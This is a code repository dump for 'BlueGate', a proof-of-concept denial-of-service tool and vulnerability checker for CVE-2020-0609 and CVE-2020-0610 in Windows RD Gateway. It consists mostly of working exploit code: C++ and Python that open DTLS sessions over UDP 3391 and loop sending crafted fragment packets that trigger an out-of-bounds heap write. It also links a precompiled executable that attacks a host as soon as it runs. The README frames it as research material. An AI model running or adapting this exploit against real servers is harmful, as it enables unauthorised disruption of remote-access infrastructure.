├── old
├── Release
│ └── BlueGate.exe
├── BlueGate
│ ├── BlueGate.vcxproj.user
│ ├── BlueGate.vcxproj.filters
│ ├── BlueGate.h
│ ├── BlueGate.cpp
│ └── BlueGate.vcxproj
├── BlueGate.sln
└── README.md
├── README.md
└── BlueGate.py
/old/Release/BlueGate.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ly4k/BlueGate/HEAD/old/Release/BlueGate.exe
--------------------------------------------------------------------------------
/old/BlueGate/BlueGate.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/old/BlueGate/BlueGate.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 |
--------------------------------------------------------------------------------
/old/BlueGate/BlueGate.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 |
6 | #define PKT_TYPE_CONNECT_REQ 1
7 | #define PKT_TYPE_CONNECT_RESP 2
8 | #define PKT_TYPE_PAYLOAD 3
9 | #define PKT_TYPE_DISCONNECT 4
10 | #define PKT_TYPE_CONNECT_REQ_FRAGMENT 5
11 |
12 | struct DTLSParams {
13 | SSL_CTX* ctx;
14 | SSL* ssl;
15 | BIO* bio;
16 | };
17 |
18 | struct UDP_PACKET_HEADER {
19 | USHORT pktID;
20 | USHORT pktLen;
21 | };
22 |
23 | struct AASYNDATA {
24 | USHORT uUpStreamMtu;
25 | USHORT uDownStreamMtu;
26 | DWORD fLossy;
27 | DWORD snSendISN;
28 | };
29 |
30 | struct AASYNDATARESP {
31 | USHORT uUpStreamMtu;
32 | USHORT uDownStreamMtu;
33 | DWORD snRecvISN;
34 | };
35 |
36 | struct CONNECT_PKT {
37 | UDP_PACKET_HEADER hdr;
38 | USHORT usPortNumber;
39 | USHORT cbAuthnCookieLen;
40 | AASYNDATA SynData;
41 | };
42 |
43 | struct CONNECT_PKT_RESP {
44 | UDP_PACKET_HEADER hdr;
45 | AASYNDATARESP SynResponse;
46 | DWORD64 result;
47 | };
48 |
49 | struct CONNECT_PKT_FRAGMENT {
50 | UDP_PACKET_HEADER hdr; // 4 bytes
51 | USHORT usFragmentID; // 2 bytes
52 | USHORT usNoOfFragments; // 2 bytes
53 | USHORT cbFragmentLength; // 2 bytes
54 | BYTE fragment[1000]; // 250 bytes
55 | };
--------------------------------------------------------------------------------
/old/BlueGate.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29201.188
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueGate", "BlueGate\BlueGate.vcxproj", "{9178613D-52C7-4876-BBAD-F93C3784D79C}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.ActiveCfg = Debug|x64
17 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.Build.0 = Debug|x64
18 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.ActiveCfg = Debug|Win32
19 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.Build.0 = Debug|Win32
20 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.ActiveCfg = Release|x64
21 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.Build.0 = Release|x64
22 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.ActiveCfg = Release|Win32
23 | {9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {D97BA022-3382-44A0-BD63-569535F8193A}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/old/README.md:
--------------------------------------------------------------------------------
1 | # BlueGate
2 | Proof of Concept (Denial of Service) for CVE-2020-0609 and CVE-2020-0610.
3 |
4 | These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP.
5 |
6 | Please use for research and educational purpose only.
7 |
8 | ## Usage
9 | You must have the OpenSSL libraries and headers installed. The default location in the project settings is `C:\Program Files\OpenSSL-Win64`. If you don't have Visual Studio, you should make some minor changes in datatypes and socket initialization.
10 |
11 | ## Vulnerability
12 | The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session.
13 |
14 | If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well.
15 |
16 | ## What is RD Gateway?
17 | RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet. Inside `Release` you will find an already compiled executable. Note that as soon as the executable is running, it will connect to the server and start sending malicious packets, **so be careful**.
18 |
19 | .\BlueGate.exe
20 |
21 | ## Why BlueGate?
22 |
23 | That was just the working title, and I couldn't come up with a better one at this stage.
24 |
25 | ## Todo:
26 | - Vulnerability scanner/checker
27 | - Python implementation
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | # BlueGate
3 |
4 | Proof of Concept (Denial of Service + scanner) for CVE-2020-0609 and CVE-2020-0610.
5 |
6 |
7 |
8 | These vulnerabilities allows an unauthenticated attacker to gain remote code execution with highest privileges via RD Gateway for RDP.
9 |
10 |
11 |
12 | Please use for research and educational purpose only.
13 |
14 |
15 |
16 | ## Usage
17 | Make sure you have [pyOpenSSL](https://www.pyopenssl.org/en/stable/) installed for python3.
18 |
19 | usage: BlueGate.py [-h] -M {check,dos} [-P PORT] host
20 |
21 | positional arguments:
22 | host IP address of host
23 |
24 | optional arguments:
25 | -h, --help show this help message and exit
26 | -M {check,dos}, --mode {check,dos}
27 | Mode
28 | -P PORT, --port PORT UDP port of RDG, default: 3391
29 |
30 |
31 |
32 | ## Vulnerability
33 |
34 | The vulnerabilities allows an unauthenticated attacker to write forward out-of-bound in the heap, by specifying an unchecked and arbitrary index parameter `(0x00 - 0xFFFF)`. The data to write is also arbitrary with a length up to 1000 bytes at a time and a maximum of 4096 during one session.
35 |
36 |
37 |
38 | If you would like to read more about the vulnerabilities, check [this](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) or read my latest tweets on [Twitter](https://twitter.com/ollypwn) with a PoC video as well.
39 |
40 |
41 |
42 | ## What is RD Gateway?
43 |
44 | RD Gateway acts as a proxy for RDP; i.e. between some internal servers and the internet, so you don't have to expose RDP directly to the internet.
45 |
46 | ## Why BlueGate?
47 |
48 |
49 |
50 | That was just the working title, and I couldn't come up with a better one at this stage.
51 |
52 |
53 |
54 | ## Todo:
55 |
56 | - ~~Vulnerability scanner/checker~~ **DONE**
57 |
58 | - ~~Python implementation~~ **DONE**
59 |
60 |
--------------------------------------------------------------------------------
/old/BlueGate/BlueGate.cpp:
--------------------------------------------------------------------------------
1 | #include "BlueGate.h"
2 |
3 | void error(const char* msg)
4 | {
5 | printf("ERROR: %s\n", msg);
6 | exit(EXIT_FAILURE);
7 | }
8 |
9 | void SOCKInit()
10 | {
11 | WSADATA wsaData;
12 | int res;
13 |
14 | res = WSAStartup(MAKEWORD(2, 2), &wsaData);
15 |
16 | if (res != 0)
17 | error("WSAStartup failed");
18 | }
19 |
20 | void DTLSInit()
21 | {
22 | SSL_library_init();
23 | SSL_load_error_strings();
24 | ERR_load_BIO_strings();
25 | OpenSSL_add_all_algorithms();
26 | }
27 |
28 | int OpenUDPConnection(const char* hostname, int port)
29 | {
30 | int sockfd;
31 | sockaddr_in addr;
32 |
33 | sockfd = socket(AF_INET, SOCK_DGRAM, 0);
34 |
35 | if (sockfd < 0)
36 | error("Failed to open socket");
37 |
38 | addr.sin_family = AF_INET;
39 | addr.sin_port = htons(port);
40 |
41 | inet_pton(AF_INET, hostname, &(addr.sin_addr));
42 |
43 | if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
44 | {
45 | closesocket(sockfd);
46 | error("Failed to connect socket");
47 | }
48 |
49 | return sockfd;
50 | }
51 |
52 | SSL* DTLSConnection(const char* hostname)
53 | {
54 | int sockfd;
55 | int result;
56 | DTLSParams client;
57 |
58 | sockfd = OpenUDPConnection(hostname, 3391);
59 |
60 | client.ctx = SSL_CTX_new(DTLS_client_method());
61 | client.bio = BIO_new_ssl_connect(client.ctx);
62 |
63 | BIO_set_conn_hostname(client.bio, hostname);
64 | BIO_get_ssl(client.bio, &(client.ssl));
65 |
66 | SSL_set_connect_state(client.ssl);
67 | SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);
68 |
69 | SSL_set_fd(client.ssl, sockfd);
70 |
71 | if (SSL_connect(client.ssl) != 1) {
72 | return NULL;
73 | }
74 |
75 | return client.ssl;
76 | }
77 |
78 | int send_dos_packet(SSL* ssl, int id) {
79 | CONNECT_PKT_FRAGMENT packet;
80 |
81 | packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
82 | packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
83 | packet.usFragmentID = id;
84 | packet.usNoOfFragments = id;
85 | packet.cbFragmentLength = 1000;
86 | memset(packet.fragment, 0x41, 1000);
87 |
88 | char pkt[sizeof(packet)];
89 | memcpy(&pkt, &packet, sizeof(packet));
90 |
91 | return SSL_write(ssl, pkt, sizeof(pkt));
92 | }
93 |
94 | int main(int argc, char* argv[])
95 | {
96 |
97 | SSL* ssl;
98 | int i = 0;
99 | char* hostname;
100 |
101 | if (argc != 2) {
102 | printf("Usage: %s \n", argv[0]);
103 | return 0;
104 | }
105 |
106 | hostname = argv[1];
107 |
108 | SOCKInit();
109 | DTLSInit();
110 |
111 | while (i++ > -1) {
112 | ssl = DTLSConnection(hostname);
113 |
114 | if (ssl == NULL) {
115 | break;
116 | }
117 |
118 | for (int n = 0; n < 4; n++) {
119 | send_dos_packet(ssl, i+n);
120 | printf("Sending packet [%u]\n", i + n);
121 | }
122 |
123 | i++;
124 | }
125 |
126 |
127 | return 0;
128 | }
--------------------------------------------------------------------------------
/BlueGate.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 | from cryptography.hazmat.bindings.openssl.binding import Binding
3 | from OpenSSL import SSL
4 | import argparse
5 | import os
6 | import select
7 | import signal
8 | import socket
9 | import struct
10 | import sys
11 |
12 | TIMEOUT = 3
13 |
14 | def init_dtls():
15 | binding = Binding()
16 | binding.init_static_locks()
17 | SSL.Context._methods[0]= getattr(binding.lib, "DTLSv1_client_method")
18 |
19 | def log_info(s):
20 | print(f"\033[96m[*] {s}\033[0m")
21 |
22 | def log_success(s):
23 | print(f"\033[92m[+] {s}\033[0m")
24 |
25 | def log_error(s):
26 | print(f"\033[91m[-] {s}\033[0m")
27 |
28 | class Packet:
29 | def __init__(self, fragment_id = 0, no_of_fragments = 1, fragment_length = 0, fragment = b""):
30 | self.fragment_id = fragment_id
31 | self.no_of_fragments = no_of_fragments
32 | self.fragment_length = fragment_length
33 | self.fragment = fragment
34 | self.pkt_ID = 5
35 | self.pkt_Len = 0
36 |
37 | def update_pkt_Len(self):
38 | self.pkt_Len = len(self.fragment) + 6
39 |
40 | def __bytes__(self):
41 | self.update_pkt_Len()
42 |
43 | buf = b""
44 | buf += struct.pack(" -1:
143 | connection = Connection(args.host, args.port)
144 | for n in range(4):
145 | connection.send_dos_packet(i+n)
146 | i += 1
--------------------------------------------------------------------------------
/old/BlueGate/BlueGate.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {9178613D-52C7-4876-BBAD-F93C3784D79C}
24 | Win32Proj
25 | BlueGate
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | true
78 |
79 |
80 | false
81 |
82 |
83 | false
84 |
85 |
86 |
87 |
88 |
89 | Level3
90 | Disabled
91 | true
92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
93 | true
94 |
95 |
96 | Console
97 | true
98 |
99 |
100 |
101 |
102 |
103 |
104 | Level3
105 | Disabled
106 | true
107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
108 | true
109 | C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories)
110 |
111 |
112 | Console
113 | true
114 | C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories)
115 | kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
116 |
117 |
118 |
119 |
120 |
121 |
122 | Level3
123 | MaxSpeed
124 | true
125 | true
126 | true
127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
128 | true
129 |
130 |
131 | Console
132 | true
133 | true
134 | true
135 |
136 |
137 |
138 |
139 |
140 |
141 | Level3
142 | MaxSpeed
143 | true
144 | true
145 | true
146 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
147 | true
148 | C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories)
149 |
150 |
151 | Console
152 | true
153 | true
154 | true
155 | C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories)
156 | kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
--------------------------------------------------------------------------------